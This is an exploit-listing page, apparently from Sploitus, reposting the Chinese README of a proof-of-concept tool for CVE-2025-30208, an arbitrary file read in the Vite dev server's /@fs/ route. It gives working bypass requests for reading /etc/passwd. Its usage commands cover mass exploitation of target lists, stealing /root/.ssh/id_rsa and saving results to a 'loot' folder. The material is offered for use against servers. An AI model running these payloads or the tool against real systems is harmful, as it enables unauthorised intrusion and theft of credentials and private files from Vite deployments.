Sploitus

Exploit for CVE-2025-30208

kitploit · 2026-08-31

Exploit Code

MARKDOWN138 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-4XURA-CVE-2025-30208
# CVE-2025-30208

一个针对 Vite `/@fs/` **路径遍历** 漏洞(CVE-2025-30208)中 `transformMiddleware` 的 **任意文件读取** 的 PoC 利用脚本。详细分析可参考此 文章。

受影响版本为 **以下版本之前** :

  * 6.2.3
  * 6.1.2
  * 6.0.12
  * 5.4.15
  * 4.5.10



## 概述

Vite 是一个流行的开源项目,源码来自 Github 及其 官方网站。它在开发模式下使用特殊前缀 **`@fs`** 来允许直接访问 **绝对文件路径** :

root@kitploit:~
    
    
    GET /@fs/<absolute/path/to/file>
    

但 **为了防止滥用** ,Vite 通过如下配置 **限制** 可通过 `@fs` 访问的内容:

root@kitploit:~
    
    
    server: {
      fs: {
        allow: [path.resolve(__dirname, 'src')]
      }
    }
    

因此理论上,即使有人尝试使用 `../../../` 等技巧,**允许目录之外** (如 `/etc/passwd`)的文件也应当被 **阻止** 。

**然而** ,漏洞在于 Vite **解析和检查 URL** 的方式(通过 `transformMiddleware` 中间件/函数)。该中间件/函数使用 `ensureServingAccess(url, ...)` 来检查通过 `/@fs/` 请求的文件是否被允许。

但攻击者可以构造带有 **尾部查询分隔符** 的 URL 请求,例如:

root@kitploit:~
    
    
    GET /@fs/etc/passwd?raw??
    GET /@fs/etc/passwd?raw&url
    GET /@fs/etc/passwd?import&raw??
    

这些形式会 **绕过正则表达式过滤器** (`rawRE`、`urlRE`)以及安全检查,因为畸形的查询字符串仍然匹配路由逻辑。实际情况如下:

  1. 路径为 `/@fs/../../../etc/passwd`
  2. 查询字符串为 `raw??`(故意畸形)
  3. 内部 Vite 尝试 **剥离或规范化** 尾随字符(如 `?`),并且在 **检查文件路径是否被允许之前** 执行此操作。
  4. 然而,检查过程 **未能正确解析和匹配查询字符串** ,因此白名单逻辑未生效。



这意味着:

  * 请求绕过了 `server.fs.allow` 检查。
  * Vite 将其视为有效的文件访问请求。
  * 如果文件存在,则会读取并返回任意文件,如 `/etc/passwd`。



* * *

## PoC 用法

### 基本用法

root@kitploit:~
    
    
    python3 poc.py [选项]
    

### 选项

### 示例

单个目标利用:

root@kitploit:~
    
    
    python3 cve-2025-30208.py -u example.com:5173
    

单个目标,使用自定义 LFI 路径泄露所需文件:

root@kitploit:~
    
    
    python3 cve-2025-30208.py -u example.com:5173 -p '/root/.ssh/id_rsa'
    

批量利用多个目标:

root@kitploit:~
    
    
    python3 cve-2025-30208.py -f targets.txt
    

自定义绕过查询字符串:

root@kitploit:~
    
    
    python3 cve-2025-30208.py -u example.com:5173 -b "?raw&url"
    

使用代理(例如 Burp Suite):

root@kitploit:~
    
    
    python3 cve-2025-30208.py -u example.com:5173 --proxy http://127.0.0.1:8080
    

自定义输出目录:

root@kitploit:~
    
    
    python3 cve-2025-30208.py -u example.com:5173 -o ./loot
    

增加批量模式的线程数:

root@kitploit:~
    
    
    python3 cve-2025-30208.py -f targets.txt -t 50